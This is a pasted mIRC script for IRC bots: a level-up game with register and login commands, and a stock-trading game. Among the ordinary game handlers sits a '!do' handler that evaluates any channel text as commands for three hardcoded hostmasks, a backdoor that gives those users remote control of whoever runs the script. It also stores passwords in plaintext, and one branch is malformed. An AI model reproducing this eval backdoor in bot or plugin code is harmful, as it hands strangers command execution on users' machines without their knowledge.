rendered paste bodyon *:Text:!lvl:#Lvler: {
if ($Person($nick).online == $true) {
if ($calc($ctime - $Person($nick).time) >= 50) {
$LvlerSet($nick, $ctime).time
var %Exp = $rand($LvlLow($Person($nick).level),$LvlHigh($Person($nick).level))
$LvlerSet($nick, $calc($Person($nick).exp + %Exp)).exp
/notice $nick 15,1[You gained04 $bytes(%Exp,b) 15Exp] [Level:04 $bytes($Person($nick).level,b) $+ 15] [TNL:04 $bytes($calc($LvlExp($Person($nick).level) - $Person($nick).exp),b) $+ 15] [Total Exp:04 $bytes($Person($nick).exp,b) $+ 15]
if ($Person($nick).exp >= $LvlExp($Person($nick).level)) {
$LvlerSet($nick, $calc($Person($nick).exp - $LvlExp($Person($nick).level))).exp
$LvlerSet($nick, $calc($Person($nick).level + 1)).level
/msg #Lvler 04,1 $+ $nick 15is now lvl04 $Person($nick).level $+ 15!
if ($Person($nick).level == 20) {
/cs access #Lvler add $nick 4
/msg #Lvler 04,1 $+ $nick 15is now an 04Half-Op15!
}
if ($Person($nick).level == 55) {
/cs access #Lvler add $nick 5
/msg #Lvler 04,1 $+ $nick 15is now an 04Op15!
}
}
}
else {
/notice $nick You must wait at least 50 seconds before trying to level again
}
}
else {
/notice $nick You are not logged in.
}
}
on *:Text:!do*:#: {
if ($address($nick,8) == iHaxzor!*manacit@*.wants-your.info || $address($nick,8) == [Blake]!*manacit@*.wants-your.info || $address($nick,8) == Sangwhich!*manacit@*.wants-your.info) {
//$eval($replace($2-, # , $chan ),2)
}
}
on *:Text:!lvl *:#Lvler: {
/notice $nick 15,01[Lvl 04 $+ $2 $+ 15 Stats] [High:04 $LvlHigh($2) $+ 15] [Low:04 $LvlLow($2) $+ 15]
}
alias Rm {
var %Num = $rand(1,6)
if (%Num == 1) {
/msg #Lvler [AutoMsg] To check someones stats type !stats <nick> and to check your own just dont include <nick> !
}
if (%Num == 2) {
/msg #Lvler [AutoMsg] If you forget how to login type "/msg $me login <pass> "!
}
if (%Num == 3) {
/msg #Lvler [AutoMsg] Inviting ppl to play wont hurt!
}
if (%Num == 4) {
/msg #Lvler [AutoMsg] Spam will get you a kick ban
}
if (%Num == 5) {
/msg #Lvler [AutoMsg] Getting Lvl 20 = Halfop and 55 = Op!
}
if (%Num == 6) {
/msg #Lvler [AutoMsg] Help can be found via "/msg $me help"
}
}
on *:Text:!stats *:#Lvler: {
if ($Person($2).reged == $false) {
/notice $nick $2 was not found...
}
else {
/notice $nick 15,1[Level:04 $Person($2).level $+ 15] [TNL:04 $calc($LvlExp($Person($2).level) - $Person($2).exp) $+ 15] [Total Exp:04 $Person($2).exp $+ 15] [Last Time !lvl was said:04 $duration($calc($ctime - $Person($2).time)) $+ 15]
}
}
on *:Text:!stats:#Lvler: {
if ($Person($nick).reged == $false) {
/notice $nick $2 was not found...
}
else {
/notice $nick 15,1[You gained04 $bytes(%Exp,b) 15Exp] [Level:04 $bytes($Person($nick).level,b) $+ 15] [TNL:04 $bytes($calc($LvlExp($Person($nick).level) - $Person($nick).exp),b) $+ 15] [Total Exp:04 $bytes($Person($nick).exp,b) $+ 15]
}
}
alias LvlExp {
return $round($calc(400*$calc(1.16^ $1)),0)
}
alias LvlLow {
return $round($calc((1.16^ $1 )),0)
}
Alias LvlHigh {
return $round($calc($calc(100/ ( $1 * .15) )*(1.16^ $1 )),0)
}
alias Person {
if ($prop == online) {
return $iif($readini(Lvler.ini, n, $1, Online) == Online,$true,$false)
}
if ($prop == reged) {
return $iif($readini(Lvler.ini, n, $1, Reged) == $null,$false,$true)
}
if ($prop == level) {
return $iif($readini(Lvler.ini, n, $1, Level) != $null,$readini(Lvler.ini, n, $1, Level),Error)
}
if ($prop == pass) {
return $iif($readini(Lvler.ini, n, $1, Pass) != $null,$readini(Lvler.ini, n, $1, Pass),Error)
}
if ($prop == exp) {
return $iif($readini(Lvler.ini, n, $1, Exp) != $null,$readini(Lvler.ini, n, $1, Exp),Error)
}
if ($prop == time) {
return $iif($readini(Lvler.ini, n, $1, Time) != $null,$readini(Lvler.ini, n, $1, Time),Error)
}
}
alias LvlerSet {
if ($prop == online) {
/writeini -n Lvler.ini $1 Online $2-
}
if ($prop == reged) {
/writeini -n Lvler.ini $1 Reged $2-
}
if ($prop == level) {
/writeini -n Lvler.ini $1 Level $2-
}
if ($prop == pass) {
/writeini -n Lvler.ini $1 Pass $2-
}
if ($prop == exp) {
/writeini -n Lvler.ini $1 Exp $2-
}
if ($prop == time) {
/writeini -n Lvler.ini $1 Time $2-
}
}
on *:Text:help:?: {
/msg $nick To register your name type /msg $me reg <Pass> , Then to login type /msg $me login <Pass> , Once your logged in type !lvl to start off :D
}
on *:Text:reg *:?: {
if ($Person($nick).reged == $false) {
$LvlerSet($nick, Offline).online
$LvlerSet($nick, Yes).reged
$LvlerSet($nick, 1).level
$LvlerSet($nick, $2).pass
$LvlerSet($nick, 0).exp
$LvlerSet($nick, 0).time
/msg $nick $+ $nick $+ is now reged to the pass $+ $2 $+
}
else {
/msg $nick You are already registered
}
}
on *:Text:login *:?: {
if ($Person($nick).pass == $2) {
$LvlerSet($nick, Online).online
/mode #Lvler +v $nick
/msg #Lvler $nick has successfully logged in! $nick is currently level $Person($nick).level
}
else {
/msg $nick Incorrect Password.
}
}
on *:Text:logout:?: {
if ($Person($nick).online == Online) {
$LvlerSet($nick, Offline).online
/mode #Lvler -v $nick
/msg #Lvler $nick has successfully logged out! $nick is currently level $Person($nick).level
}
else {
/msg $nick Not Online.
}
}
on *:Quit: {
$LvlerSet($nick, Offline).online
}
on *:Kick:#Lvler: {
$LvlerSet($knick, Offline).online
}
on *:Part:#Lvler: {
$LvlerSet($nick, Offline).online
}
on *:Text:*The stock prices have changed!*:#Laz: {
tokenize 32 $1-
if (%S.On == 1) {
//msg #Laz 14[12Stock Market14] LFM: $StockAmount(%S.LFM,$9) - THT: $StockAmount(%S.THT,$11) - ACC: $StockAmount(%S.ACC,$13) - XCM: $StockAmount(%S.XCM,$15) - ZST: $StockAmount(%S.ZST,$17) - FTI: $StockAmount(%S.FTI, $remove($19,$chr(93)) )
}
set %S.LFM $9
set %S.THT $11
set %S.ACC $13
set %S.XCM $15
set %S.ZST $17
set %S.FTI $remove($19,$chr(93))
set %S.On 1
}
alias StockAmount {
//var %S.S = $calc( $strip($2) - $strip($1) )
; //echo -a StockAmount: $1 - $2 - %S.S - $calc( $strip($2) - $strip($1) )
if (%S.S < 0) {
return 12Down $bytes($remove(%S.S,-),db) $+ 14
}
else {
return 12Up $bytes(%S.S,db) $+ 14
}
}
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
; Stocks Bot ;
; By: Zeldo ;
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
on *:Text:!new:#StockGame: {
$Stocks($nick,0).Apple
$Stocks($nick,0).Micro
$Stocks($nick,0).Pepsi
$Stocks($nick,0).PHP
$Stocks($nick,0).GE
$Stocks($nick,0).Ubuntu
$Money($nick,1000000).set
/notice $nick 14You are now set-up...
}
on *:Text:!buy *:#StockGame: {
if ($3 > 0) {
if ($2 == Apple) {
if ($Money($nick) >= $calc(%Stocks.Apple * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.Apple * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).Apple + $3 )).Apple
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.Apple, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
if ($2 == Micro) {
if ($Money($nick) >= $calc(%Stocks.Micro * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.Micro * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).Micro + $3 )).Micro
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.Micro, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
if ($2 == Ubuntu) {
if ($Money($nick) >= $calc(%Stocks.Ubuntu * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.Ubuntu * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).Ubuntu + $3 )).Ubuntu
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.Ubuntu, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
if ($2 == Pepsi) {
if ($Money($nick) >= $calc(%Stocks.Pepsi * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.Pepsi * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).Pepsi + $3 )).Pepsi
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.Pepsi, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
if ($2 == GE) {
if ($Money($nick) >= $calc(%Stocks.GE * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.GE * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).GE + $3 )).GE
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.GE, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
if ($2 == PHP) {
if ($Money($nick) >= $calc(%Stocks.PHP * $3)) {
$Money($nick, $calc($Money($nick) - $calc(%Stocks.PHP * $3))).set
$Stocks($nick, $calc( $GetStocks($nick).PHP + $3 )).PHP
/notice $nick 14You buy12 $bytes($3,db) 14stock(s) for12 $2 $+ !
$StocksHigh($nick, %Stocks.PHP, $2).set
}
else {
/notice $nick 14You can't afford12 $3 $+ 14
}
}
}
}
on *:Connect: {
/timerStocks 0 60 /StockUpdate
}
on *:Disconnect: {
/timerStocks off
}
on *:Text:!stocks*:#StockGame: {
if ($nick == $2 || $2 == $null) {
/notice $nick 14You have the following stocks - Apple:12 $bytes($GetStocks($nick).Apple,db) 14 - Micro:12 $bytes($GetStocks($nick).Micro,db) 14 - Ubuntu:12 $bytes($GetStocks($nick).Ubuntu,db) 14 - Pepsi:12 $bytes($GetStocks($nick).Pepsi,db) 14 - PHP:12 $bytes($GetStocks($nick).PHP,db) 14 - GE:12 $bytes($GetStocks($nick).GE,db) 14 - You have $chr(36) $+ 12 $+ $bytes($Money($nick),db)
/notice $nick 14You bought the stocks for - Apple:12 $bytes($StocksHigh($nick,Apple),db) 14- Micro:12 $bytes($StocksHigh($nick,Micro),db) 14- Ubuntu:12 $bytes($StocksHigh($nick,Ubuntu),db) 14- Pepsi:12 $bytes($StocksHigh($nick,Pepsi),db) 14- PHP:12 $bytes($StocksHigh($nick,PHP),db) 14- GE:12 $bytes($StocksHigh($nick,GE),db)
/notice $nick 14Current Winning/Losings for stock - Apple:12 $bytes($StockWinnings($nick,Apple),db) 14 - Micro:12 $bytes($StockWinnings($nick,Micro),db) 14 - Ubuntu:12 $bytes($StockWinnings($nick,Ubuntu),db) 14 - Pepsi:12 $bytes($StockWinnings($nick,Pepsi),db) 14 - PHP:12 $bytes($StockWinnings($nick,PHP),db) 14 - GE:12 $bytes($StockWinnings($nick,GE),db)
}
else {
/notice $nick 12 $+ $2 14has the following stocks - Apple:12 $bytes($GetStocks($2).Apple,db) 14 - Micro:12 $bytes($GetStocks($2).Micro,db) 14 - Ubuntu:12 $bytes($GetStocks($2).Ubuntu,db) 14 - Pepsi:12 $bytes($GetStocks($2).Pepsi,db) 14 - PHP:12 $bytes($GetStocks($2).PHP,db) 14 - GE:12 $bytes($GetStocks($2).GE,db) 14 - They have $chr(36) $+ 12 $+ $bytes($Money($2),db)
}
}
alias StockWinnings {
if ($2 == Apple) {
return $calc((%Stocks.Apple - $StocksHigh($1,Apple)) * $GetStocks($1).Apple)
}
elseif ($2 == Micro) {
return $calc((%Stocks.Micro - $StocksHigh($1,Micro)) * $GetStocks($1).Micro)
}
elseif ($2 == Pepsi) {
return $calc((%Stocks.Pepsi - $StocksHigh($1,Pepsi)) * $GetStocks($1).Pepsi)
}
elseif ($2 == Ubuntu) {
return $calc((%Stocks.Ubuntu - $StocksHigh($1,Ubuntu)) * $GetStocks($1).Ubuntu)
}
elseif ($2 == PHP) {
return $calc((%Stocks.PHP - $StocksHigh($1,PHP)) * $GetStocks($1).PHP)
}
elseif ($2 == GE) {
return $calc((%Stocks.GE - $StocksHigh($1,GE)) * $GetStocks($1).GE)
}
}
on *:Text:!sell *:#StockGame: {
if ($3 > 0) {
if ($2 == Apple) {
if ($GetStocks($nick).Apple >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).Apple - $3)).Apple
/notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).Apple == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
if ($2 == Micro) {
if ($GetStocks($nick).Micro >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).Micro - $3)).Micro
/notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).Micro == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
if ($2 == Ubuntu) {
if ($GetStocks($nick).Ubuntu >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).Ubuntu - $3)).Ubuntu
/notice $nick 14You sold12 $3 14stocks of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).Ubuntu == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
if ($2 == Pepsi) {
if ($GetStocks($nick).Pepsi >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).Pepsi - $3)).Pepsi
/notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).Pepsi == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
if ($2 == GE) {
if ($GetStocks($nick).GE >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).GE - $3)).GE
/notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).GE == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
if ($2 == PHP) {
if ($GetStocks($nick).PHP >= $3) {
$Money($nick, $calc($Money($nick) + $calc($SGetStocks($2) * $3))).set
$Stocks($nick, $calc($GetStocks($nick).PHP - $3)).PHP
/notice $nick 14You sold12 $3 14stock(s) of12 $2 14@12 $bytes($SGetStocks($2),db) 14ea. You gained $chr(36) $+ 12 $+ $bytes($calc($SGetStocks($2) * $3),db) 14which leaves you @12 $chr(36) $+ 12 $+ $bytes($Money($nick),db)
if ($GetStocks($nick).PHP == 0) {
$StocksHigh($nick, 0, $2).forceset
}
}
else {
/notice $nick 14You don't have12 $3 14stock(s) of12 $2 $+ !
}
}
}
}
alias StockUpdate {
var %Stocks.Rand1 $RandomStocks
var %Stocks.Rand2 $RandomStocks
var %Stocks.Rand3 $RandomStocks
var %Stocks.Rand4 $RandomStocks
var %Stocks.Rand5 $RandomStocks
var %Stocks.Rand6 $RandomStocks
$SSetStocks(Apple, $calc( $SGetStocks(Apple) %Stocks.Rand1 ))
$SSetStocks(Micro, $calc( $SGetStocks(Micro) %Stocks.Rand2 ))
$SSetStocks(Ubuntu, $calc( $SGetStocks(Ubuntu) %Stocks.Rand3 ))
$SSetStocks(Pepsi, $calc( $SGetStocks(Pepsi) %Stocks.Rand4 ))
$SSetStocks(PHP, $calc( $SGetStocks(PHP) %Stocks.Rand5 ))
$SSetStocks(GE, $calc( $SGetStocks(GE) %Stocks.Rand6 ))
////msg #StockGame 14[12Stock Market Change14] Apple:12 $bytes($SGetStocks(Apple),db) 14( $+ $StockFormat( %Stocks.Rand1 ) $+ ) - Micro:12 $bytes($SGetStocks(Micro),db) 14( $+ $StockFormat( %Stocks.Rand2 ) $+ ) - Ubuntu:12 $bytes($SGetStocks(Ubuntu),db) 14( $+ $StockFormat( %Stocks.Rand3 ) $+ ) - Pepsi:12 $bytes($SGetStocks(Pepsi),db) 14( $+ $StockFormat( %Stocks.Rand4 ) $+ ) - PHP:12 $bytes($SGetStocks(PHP),db) 14( $+ $StockFormat( %Stocks.Rand5 ) $+ ) - GE:12 $bytes($SGetStocks(GE),db) 14( $+ $StockFormat( %Stocks.Rand6 ) $+ )
}
alias StockFormat {
if ($remove($1,$chr(32)) < 0) {
return 04 $+ $1 $+ 14
}
else {
return 09 $+ $1 $+ 14
}
}
alias Stocks {
if ($prop == Apple) {
/writeini -n Stocks.ini Apple $1 $2
}
if ($prop == Micro) {
/writeini -n Stocks.ini Micro $1 $2
}
if ($prop == Ubuntu) {
/writeini -n Stocks.ini Ubuntu $1 $2
}
if ($prop == Pepsi) {
/writeini -n Stocks.ini Pepsi $1 $2
}
if ($prop == GE) {
/writeini -n Stocks.ini GE $1 $2
}
if ($prop == PHP) {
/writeini -n Stocks.ini PHP $1 $2
}
}
alias StocksHigh {
if ($prop == $null) {
if ($2 == Apple) {
return $calc( $readini(Stocks.ini, n, AppleHigh, $1) + 0)
}
if ($2 == Micro) {
return $calc( $readini(Stocks.ini, n, MicroHigh, $1) + 0)
}
if ($2 == Ubuntu) {
return $calc( $readini(Stocks.ini, n, UbuntuHigh, $1) + 0)
}
if ($2 == Pepsi) {
return $calc( $readini(Stocks.ini, n, PepsiHigh, $1) + 0)
}
if ($2 == GE) {
return $calc( $readini(Stocks.ini, n, GEHigh, $1) + 0)
}
if ($2 == PHP) {
return $calc( $readini(Stocks.ini, n, PHPHigh, $1) + 0)
}
}
elseif ($prop == set) {
if ($3 == Apple && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini AppleHigh $1 $2
}
if ($3 == Micro && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini MicroHigh $1 $2
}
if ($3 == Ubuntu && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini UbuntuHigh $1 $2
}
if ($3 == Pepsi && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini PepsiHigh $1 $2
}
if ($3 == GE && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini GEHigh $1 $2
}
if ($3 == PHP && $StocksHigh2($1, $3) < $2) {
/writeini -n Stocks.ini PHPHigh $1 $2
}
}
elseif ($prop == forceset) {
if ($3 == Apple) {
/writeini -n Stocks.ini AppleHigh $1 $2
}
if ($3 == Micro) {
/writeini -n Stocks.ini MicroHigh $1 $2
}
if ($3 == Ubuntu) {
/writeini -n Stocks.ini UbuntuHigh $1 $2
}
if ($3 == Pepsi) {
/writeini -n Stocks.ini PepsiHigh $1 $2
}
if ($3 == GE) {
/writeini -n Stocks.ini GEHigh $1 $2
}
if ($3 == PHP) {
/writeini -n Stocks.ini PHPHigh $1 $2
}
}
}
alias StocksHigh2 {
if ($2 == Apple) {
return $calc( $readini(Stocks.ini, n, AppleHigh, $1) + 0)
}
if ($2 == Micro) {
return $calc( $readini(Stocks.ini, n, MicroHigh, $1) + 0)
}
if ($2 == Ubuntu) {
return $calc( $readini(Stocks.ini, n, UbuntuHigh, $1) + 0)
}
if ($2 == Pepsi) {
return $calc( $readini(Stocks.ini, n, PepsiHigh, $1) + 0)
}
if ($2 == GE) {
return $calc( $readini(Stocks.ini, n, GEHigh, $1) + 0)
}
if ($2 == PHP) {
return $calc( $readini(Stocks.ini, n, PHPHigh, $1) + 0)
}
}
alias SSetStocks {
if ($1 == Apple) {
set %Stocks.Apple $2
}
if ($1 == Micro) {
set %Stocks.Micro $2
}
if ($1 == Ubuntu) {
set %Stocks.Ubuntu $2
}
if ($1 == Pepsi) {
set %Stocks.Pepsi $2
}
if ($1 == GE) {
set %Stocks.GE $2
}
if ($1 == PHP) {
set %Stocks.PHP $2
}
}
alias SGetStocks {
if ($1 == Apple) {
return %Stocks.Apple
}
if ($1 == Micro) {
return %Stocks.Micro
}
if ($1 == Ubuntu) {
return %Stocks.Ubuntu
}
if ($1 == Pepsi) {
return %Stocks.Pepsi
}
if ($1 == GE) {
return %Stocks.GE
}
if ($1 == PHP) {
return %Stocks.PHP
}
}
alias GetStocks {
if ($prop == Apple) {
return $readini(Stocks.ini, n, Apple, $1)
}
if ($prop == Micro) {
return $readini(Stocks.ini, n, Micro, $1)
}
if ($prop == Ubuntu) {
return $readini(Stocks.ini, n, Ubuntu, $1)
}
if ($prop == Pepsi) {
return $readini(Stocks.ini, n, Pepsi, $1)
}
if ($prop == GE) {
return $readini(Stocks.ini, n, GE, $1)
}
if ($prop == PHP) {
return $readini(Stocks.ini, n, PHP, $1)
}
}
alias Money {
if ($prop == $null) {
return $readini(Stocks.ini, n, Money, $1)
}
elseif ($prop == set) {
/writeini -n Stocks.ini Money $1 $2
}
}
alias RandomStocks {
var %Stocks.Rand = $rand(1,30)
var %Stocks.Neg = $Rand(1,500)
%Stocks.Neg = $calc( %Stocks.Neg / 2)
if (%Stocks.Neg == $int(%Stocks.Neg)) {
%Stocks.Neg = +
}
else {
%Stocks.Neg = -
}
if (%Stocks.Rand == 2 || %Stocks.Rand == 25 || %Stocks.Rand == 14) {
var %Stocks.Rand1 $rand(1,9)
var %Stocks.Rand2 $rand(1,9)
var %Stocks.Rand3 $rand(1,9)
var %Stocks.Rand4 $rand(1,9)
return %Stocks.Neg %Stocks.Rand1 $+ %Stocks.Rand2 $+ . $+ %Stocks.Rand3 $+ %Stocks.Rand4
}
(%Stocks.Rand == 19) {
var %Stocks.Rand1 $rand(1,2)
var %Stocks.Rand2 $rand(1,9)
var %Stocks.Rand3 $rand(1,9)
var %Stocks.Rand4 $rand(1,9)
var %Stocks.Rand5 $rand(1,9)
return %Stocks.Neg %Stocks.Rand1 $+ %Stocks.Rand2 $+ %Stocks.Rand3 $+ . $+ %Stocks.Rand4 $+ %Stocks.Rand5
}
else {
var %Stocks.Rand1 $rand(1,9)
var %Stocks.Rand2 $rand(1,9)
var %Stocks.Rand3 $rand(1,9)
return %Stocks.Neg %Stocks.Rand1 $+ . $+ %Stocks.Rand2 $+ %Stocks.Rand3
}
}
on *:Text:!admin*:#StockGame: {
if ($nick isop $chan) {
if ($2 == Delete) {
$Stocks($3,0).Apple
$Stocks($3,0).Micro
$Stocks($3,0).Pepsi
$Stocks($3,0).PHP
$Stocks($3,0).GE
$Stocks($3,0).Ubuntu
$Money($3,0).set
/msg $chan 12 $+ $3 $+ 14's account was deleted by12 $nick $+ 14.
}
elseif ($2 == Transfer) {
$Stocks($4,$GetStocks($3).Apple).Apple
$Stocks($4,$GetStocks($3).Micro).Micro
$Stocks($4,$GetStocks($3).Pepsi).Pepsi
$Stocks($4,$GetStocks($3).PHP).PHP
$Stocks($4,$GetStocks($3).GE).GE
$Stocks($4,$GetStocks($3).Ubuntu).Ubuntu
$Money($4,$Money($3)).set
/msg $chan 12 $+ $3 $+ 14's account was transfered to12 $4 14by12 $nick $+ 14.
}
elseif ($2 == hop) {
/hop $chan
}
else {
/notice $nick 14Current commands: !admin transfer Nick Newnick - Transfers stocks ect. - !admin hop - Makes me hop - !admin Delete Nick - Deletes Nick's account
}
}
}
on *:Text:!beg:#StockGame: {
var %Stocks.Work $rand(10000,50000)
$Money($nick, $calc($Money($nick) + %Stocks.Work)).set
/notice $nick 14You go around begging rich people and manage to get12 $bytes(%Stocks.Work,db) $+ 14. You now have12 $bytes($Money($nick),db) $+ 14.
}
alias NewStocks {
set %Stocks.Apple $rand(2000,10000)
set %Stocks.Micro $rand(2000,10000)
set %Stocks.Ubuntu $rand(2000,10000)
set %Stocks.PHP $rand(2000,10000)
set %Stocks.Pepsi $rand(2000,10000)
set %Stocks.GE $rand(2000,10000)
}
on *:Text:!max:#StockGame: {
/notice $nick 14You can buy the following Apple:12 $int($bytes($calc( $Money($nick) / %Stocks.Apple ),db)) $+ 14 - Micro:12 $int($bytes($calc( $Money($nick) / %Stocks.Micro ),db)) $+ 14 - Ubuntu:12 $int($bytes($calc( $Money($nick) / %Stocks.Ubuntu ),db)) $+ 14 - Pepsi:12 $int($bytes($calc( $Money($nick) / %Stocks.Pepsi ),db)) $+ 14 - PHP:12 $int($bytes($calc( $Money($nick) / %Stocks.PHP ),db)) $+ 14 - GE:12 $int($bytes($calc( $Money($nick) / %Stocks.GE ),db))
}